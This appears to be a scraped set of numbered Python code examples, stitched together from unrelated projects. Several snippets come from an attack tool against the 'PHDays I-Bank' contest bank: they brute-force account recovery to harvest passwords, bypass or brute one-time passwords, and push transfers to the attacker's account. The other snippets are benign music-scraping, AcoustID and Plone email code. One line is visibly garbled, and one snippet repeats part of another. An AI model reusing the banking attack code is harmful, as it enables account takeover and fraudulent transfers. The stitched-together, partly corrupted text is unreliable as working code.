             'accountNumberTo': MY_ACCOUNT,
             'accountSum': obj.amount,
             'step': 'step2'
         })
     )
     data = my_url_open(obj.opener, req)
     # TODO: bad auth??
     if 'PHDays I-Bank Pro: transaction' not in data:
         obj.opener = self.generate_opener()
         self.do_login(obj.user, obj.password, obj.opener)
         data = my_url_open(obj.opener, req)
     return data
Пример #52
0
def run():
    LOGGER.info('Getting music from HypeMachine...')
    results = hypem.get_popular(filter='lastweek', page=1)
    LOGGER.info('Found {} tracks, merging to database...'.format(
        len(results.data)))
    try:
        for track in results.data:
            date_posted = datetime.fromtimestamp(track.data['dateposted'])
            #TODO: this is unpredictable because there are random postid's returned with different loved and
            # dateposted values
            hours_delta = (
                datetime.now() - date_posted).total_seconds() / 60 / 60
            source_score = int(track.data['loved_count'] / hours_delta)
            hypem_row = QueuedTrack(
                title=track.data['title'],
                artist=track.data['artist'],
                year=date_posted.year,
                source='hypemachine',
                source_score=source_score,
                duration=track.data['time'])

            session.merge(hypem_row)
    except:
        raise

    finally:
        session.commit()
        LOGGER.info('Merge completed.')
Пример #53
0
def acoustid_lookup(fingerprint, duration):
    results = acoustid.lookup(ACOUST_ID_API_KEY, fingerprint, duration, meta='recordings + releasegroups')
    if results.get('results') and results['results'][0].get('recordings'):
        LOGGER.info('AcoustID result found!')
        recordings = results['results'][0]['recordings']
        recording = max(recordings, key=lambda x: len(x.keys()))
        recording_id = recording['id']
        recording_artists = recording['artists']
        recording_title = recording['title']
        album_artist = recording_artists[0]['name']
        artist = ''.join([artist['name'] + artist.get('joinphrase', '') for artist in recording_artists])
        album = recording['releasegroups'][0]['title']  # TODO: the results of this are often inconsistent

        return {'musicbrainz_releasetrackid': recording_id,
                'title': recording_title,
                'artist': artist,
                'albumartist': album_artist,
                'album': album}

    else:
        LOGGER.info('No AcoustID results found.')
        return {}
Пример #54
0
    def run(self):
        while 1:
            self.generate_opener()
            account = RECOVER.get()
            LOGGER.info('Trying to recover: %s', account)
            if account in known_users:
                continue
            if not self.pre_test(account):
                LOGGER.info('Impossible to recover: %s', account)
                continue

            for i in xrange(1, 251):
                data = self.brute_one(account, i)
                if 'Identifier not found' in data:
                    break
                if 'repeat' in data:
                    continue
                result = NEW_PASSWORD.search(data)
                if result:
                    data = self.do_login(account, result.group(1))
                    if self.check(data):
                        LOGGER.critical('RECOVERED: %s %s', account, result.group(1))
                        add_good(account, result.group(1), data, self.opener)
                    break
Пример #55
0
    def do_otp(self, obj):
        data = self._pre_otp(obj)
        if data is False:
            return False

        step3 = urllib2.Request('http://{0}/transaction.php'.format(TARGET_HOST),
            urllib.urlencode({
                'step': 'step3'
            })
        )
        step4 = urllib2.Request('http://{0}/transaction.php'.format(TARGET_HOST),
            urllib.urlencode({
                'step': 'step4'
            })
        )
        # Case:
        # 1) No otp
        if 'Commit transaction.' in data:
            LOGGER.info('No otp')
            data = my_url_open(obj.opener, step3)
        # 2) SmartCard otp
        elif 'One-time password:'******'Smart card otp')

            data = my_url_open(obj.opener, step4)
        # 3) Brute otp
        elif 'One-time password (#' in data:
            tmp_ticket = RE_TICKET.search(data)
            if not tmp_ticket:
                return False
            tmp_ticket = tmp_ticket.group(1)
            step_OTP1 = urllib2.Request('http://{0}/transaction.php'.format(TARGET_HOST),
                urllib.urlencode({
                    'step': 'step3',
                    'OTP': obj.gen_otp(tmp_ticket, 2)
                })
            )
            step_OTP2 = urllib2.Request('http://{0}/transaction.php'.format(TARGET_HOST),
                urllib.urlencode({
                    'step': 'step3',
                    'OTP': obj.gen_otp(tmp_ticket, 3)
                })
            )
            data = my_url_open(obj.opener, step_OTP1)
            data += my_url_open(obj.opener, step_OTP2)
            data = my_url_open(obj.opener, step4)
        else:
            LOGGER.error('Bad transaction page: ')
            LOGGER.debug('%r', data)
        result = 'Transaction committed!' in data
        if result:
            LOGGER.info('Transaction from: %s', obj.number)
        return result
Пример #56
0
def send(portal, message, subject, recipients=[]):
    """Send an email.

    this is taken from Products.eXtremeManagement
    """
    # Weed out any empty strings.
    recipients = [r for r in recipients if r]
    if not recipients:
        LOGGER.warn("No recipients to send the mail to, not sending.")
        return

    charset = portal.getProperty('email_charset', 'ISO-8859-1')
    # Header class is smart enough to try US-ASCII, then the charset we
    # provide, then fall back to UTF-8.
    header_charset = charset

    # We must choose the body charset manually
    for body_charset in 'US-ASCII', charset, 'UTF-8':
        try:
            message = message.encode(body_charset)
        except UnicodeError:
            pass
        else:
            break
        
    # Get the 'From' address.
    registry = getUtility(IRegistry)
    sender_name = registry.get('plone.email_from_name')
    sender_addr = registry.get('plone.email_from_address')

    # We must always pass Unicode strings to Header, otherwise it will
    # use RFC 2047 encoding even on plain ASCII strings.
    sender_name = str(Header(safe_unicode(sender_name), header_charset))
    # Make sure email addresses do not contain non-ASCII characters
    sender_addr = sender_addr.encode('ascii')
    email_from = formataddr((sender_name, sender_addr))

    formatted_recipients = []
    for recipient in recipients:
        # Split real name (which is optional) and email address parts
        recipient_name, recipient_addr = parseaddr(recipient)
        recipient_name = str(Header(safe_unicode(recipient_name),
                                    header_charset))
        recipient_addr = recipient_addr.encode('ascii')
        formatted = formataddr((recipient_name, recipient_addr))
        formatted_recipients.append(formatted)
    email_to = ', '.join(formatted_recipients)

    # Make the subject a nice header
    subject = Header(safe_unicode(subject), header_charset)

    # Create the message ('plain' stands for Content-Type: text/plain)

    # plone4 should use 'text/plain' according to the docs, but this should work for us
    # http://plone.org/documentation/manual/upgrade-guide/version/upgrading-plone-3-x-to-4.0/updating-add-on-products-for-plone-4.0/mailhost.securesend-is-now-deprecated-use-send-instead/
    msg = MIMEText(message, 'html', body_charset)
    msg['From'] = email_from
    msg['To'] = email_to
    msg['Subject'] = subject
    msg = msg.as_string()

    # Finally send it out.
    mailhost = getToolByName(portal, 'MailHost')
    try:
        LOGGER.info("Begin sending email to %r " % formatted_recipients)
        LOGGER.info("Subject: %s " % subject)
        mailhost.send(msg)
    except gaierror, exc:
        LOGGER.error("Failed sending email to %r" % formatted_recipients)
        LOGGER.error("Reason: %s: %r" % (exc.__class__.__name__, str(exc)))
Пример #57
0
        formatted = formataddr((recipient_name, recipient_addr))
        formatted_recipients.append(formatted)
    email_to = ', '.join(formatted_recipients)

    # Make the subject a nice header
    subject = Header(safe_unicode(subject), header_charset)

    # Create the message ('plain' stands for Content-Type: text/plain)

    # plone4 should use 'text/plain' according to the docs, but this should work for us
    # http://plone.org/documentation/manual/upgrade-guide/version/upgrading-plone-3-x-to-4.0/updating-add-on-products-for-plone-4.0/mailhost.securesend-is-now-deprecated-use-send-instead/
    msg = MIMEText(message, 'html', body_charset)
    msg['From'] = email_from
    msg['To'] = email_to
    msg['Subject'] = subject
    msg = msg.as_string()

    # Finally send it out.
    mailhost = getToolByName(portal, 'MailHost')
    try:
        LOGGER.info("Begin sending email to %r " % formatted_recipients)
        LOGGER.info("Subject: %s " % subject)
        mailhost.send(msg)
    except gaierror, exc:
        LOGGER.error("Failed sending email to %r" % formatted_recipients)
        LOGGER.error("Reason: %s: %r" % (exc.__class__.__name__, str(exc)))
    else:
        LOGGER.info("Succesfully sent email to %r" % formatted_recipients)

# vim: set ft=python ts=4 sw=4 expandtab :